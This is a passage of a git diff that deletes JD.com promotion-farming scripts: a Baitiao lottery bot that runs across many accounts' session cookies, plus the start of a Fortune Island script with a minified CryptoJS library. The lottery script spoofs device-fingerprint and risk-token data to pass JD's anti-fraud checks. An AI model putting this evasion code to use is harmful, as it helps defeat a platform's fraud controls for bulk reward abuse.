this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t){let e={"M+":(new Date).getMonth()+1,"d+":(new Date).getDate(),"H+":(new Date).getHours(),"m+":(new Date).getMinutes(),"s+":(new Date).getSeconds(),"q+":Math.floor(((new Date).getMonth()+3)/3),S:(new Date).getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,((new Date).getFullYear()+"").substr(4-RegExp.$1.length)));for(let s in e)new RegExp("("+s+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?e[s]:("00"+e[s]).substr((""+e[s]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r)));let h=["","==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="];h.push(e),s&&h.push(s),i&&h.push(i),console.log(h.join("\n")),this.logs=this.logs.concat(h)}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t.stack):this.log("",`\u2757\ufe0f${this.name}, \u9519\u8bef!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/activity/jd_bt_sign.js b/activity/jd_bt_sign.js deleted file mode 100644 index 8fb6309..0000000 --- a/activity/jd_bt_sign.js +++ /dev/null @@ -1,273 +0,0 @@ -/* -白条抽奖 -by:小手冰凉 -交流群:https://t.me/jdPLA2 -更新时间:2022-1-13 -脚本兼容: Node.js -新手写脚本,难免有bug,能用且用。 -=========================== -[task_local] -#白条抽奖 -10 9 13-31,1-7 1,2 * jd_bt_sign.js, tag=白条抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdte.png, enabled=true - */ - -const $ = new Env('白条抽奖'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const Faker = require('./JDSignValidator.js') -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - $.stopNext = false - await TotalBean(); - console.log(`\n***********开始【京东账号${$.index}】${$.nickName || $.UserName}********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await jdDailyEgg(); - } - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jdDailyEgg() { - await doPromotionClimaxDraw();//1.7-2.7 - await takeAwardV2();//1.7-2.7 -} - - -async function doPromotionClimaxDraw() { - const fakerBody = Faker.getBody('https://prodev.m.jd.com/jdjr/active/NJkMD1oBADub6HjV3YBbYoNY9oX/index.html') - fp = fakerBody.fp - eid = await getClientData(fakerBody) - token = (await downloadUrl("https://gia.jd.com/m.html")).match(/var\s*?jd_risk_token_id\s*?=\s*["`'](\S*?)["`'];?/)?.[1] || "" - body = { "activityId": "1617024012", "channelId": 1000, "riskMap": { "eid": eid, "fp": fp, "sdkToken": "", "token": token, "appType": "3" } } - let option = { - url: `https://ms.jr.jd.com/gw/generic/bt/h5/m/doPromotionClimaxDraw`, - headers: { - 'Host': 'ms.jr.jd.com', - 'Connection': 'keep-alive', - 'Accept': 'application/json', - 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.2.301 Mobile Safari/537.36', - 'Content-Type': 'application/x-www-form-urlencoded', - 'Origin': 'https://prodev.m.jd.com', - 'Referer': 'https://prodev.m.jd.com/jdjr/active/NJkMD1oBADub6HjV3YBbYoNY9oX/index.html?activityId=1617024012&actNo=YDF1640662889106&babelChannel=ttt43&cu=true&utm_source=kong&utm_medium=tuiguang&utm_campaign=t_1000348975_&utm_term=cbc52a9f1af94c098808f916bef45ec5', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3', - 'cookie': cookie - }, - body: `reqData=${encodeURIComponent(JSON.stringify(body))}` - } - return new Promise(async resolve => { - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`doPromotionClimaxDraw API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.resultData && data.resultData.result.code === '0000') { - console.log(`恭喜获得: ${data.resultData.data.climaxDrawInfoPerDay.awardDesc}${data.resultData.data.climaxDrawInfoPerDay.awardValue}`); - } else { - console.log(data.resultData.result.info); - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - - -async function takeAwardV2() { - let option = { - url: `https://payhome.jd.com/front/api/blindBox/takeAwardV2`, - headers: { - 'Host': 'payhome.jd.com', - 'Connection': 'keep-alive', - 'Accept': '*/*', - 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.2.0.302) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/12.0.2.301 Mobile Safari/537.36', - 'Content-Type': 'application/json', - 'Origin': 'https://pb.jd.com', - 'Referer': 'https://pb.jd.com/activity/2021/blindbox/home?channel=324&showhead=no&sid=12ce436d71580850cdd08c7061859ecw&utm_term=wxfriends&utm_source=iOS_url_1641689924526&utm_medium=jrappshare', - 'Accept-Encoding': 'gzip, deflate, br', - 'Accept-Language': 'zh-CN,zh;q=0.9,th-CN;q=0.8,th;q=0.7,vi-CN;q=0.6,vi;q=0.5,en-US;q=0.4,en;q=0.3', - 'cookie': cookie - }, - body: `{}` - } - return new Promise(async resolve => { - $.post(option, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`takeAwardV2 API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data.code === 'F_000000' && data.data.prize) { - console.log(`恭喜获得: ${data.data.prize.prizeDesc}`); - } else { - console.log(data.msg); - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function TotalBean() { - return new Promise(async resolve => { - const options = { - "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, - "headers": { - "Accept": "application/json,text/plain, */*", - "Content-Type": "application/x-www-form-urlencoded", - "Accept-Encoding": "gzip, deflate, br", - "Accept-Language": "zh-cn", - "Connection": "keep-alive", - "Cookie": cookie, - "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - if (data['retcode'] === 13) { - $.isLogin = false; //cookie过期 - return - } - if (data['retcode'] === 0) { - $.nickName = (data['base'] && data['base'].nickname) || $.UserName; - } else { - $.nickName = $.UserName - } - } else { - console.log(`京东服务器返回空数据`) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getClientData(fakerBody) { - return new Promise(resolve => { - const options = { - url: `https://gia.jd.com/fcf.html?a=${fakerBody.a}`, - body: `d=${fakerBody.d}`, - headers: { - "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8", - "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") - } - } - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`\n${JSON.stringify(arguments)}: API查询请求失败 ‼️‼️`) - throw new Error(err); - } else { - if (data.indexOf("*_*") > 0) { - data = data.split("*_*", 2); - data = JSON.parse(data[1]).eid; - } else { - console.log(`京东api返回数据为空,请检查自身原因`) - } - } - } catch (e) { - $.logErr(e, resp); - } finally { - resolve(data || ""); - } - }) - }) -} -function downloadUrl(url) { - return new Promise(resolve => { - const options = { - url, "timeout": 10000, followRedirect: false, headers: { - 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), - } - }; - $.get(options, async (err, resp, data) => { - let res = "" - try { - if (err) { - console.log(`⚠️网络请求失败`); - } else { - res = data; - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res); - } - }) - }) -} -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/activity/jd_cfd_loop.js b/activity/jd_cfd_loop.js deleted file mode 100644 index 40de7f2..0000000 --- a/activity/jd_cfd_loop.js +++ /dev/null @@ -1,434 +0,0 @@ -/* -京喜财富岛热气球 -cron 30 0-23/3 * * * jd_cfd_loop.js -活动入口:京喜APP-我的-京喜财富岛 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京喜财富岛热气球 -30 0-23/3 * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true -================Loon============== -[Script] -cron "30 0-23/3 * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 -===============Surge================= -京喜财富岛热气球 = type=cron,cronexp="30 0-23/3 * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js -============小火箭========= -京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 0-23/3 * * *", timeout=3600, enable=true - */ -!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { - var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = 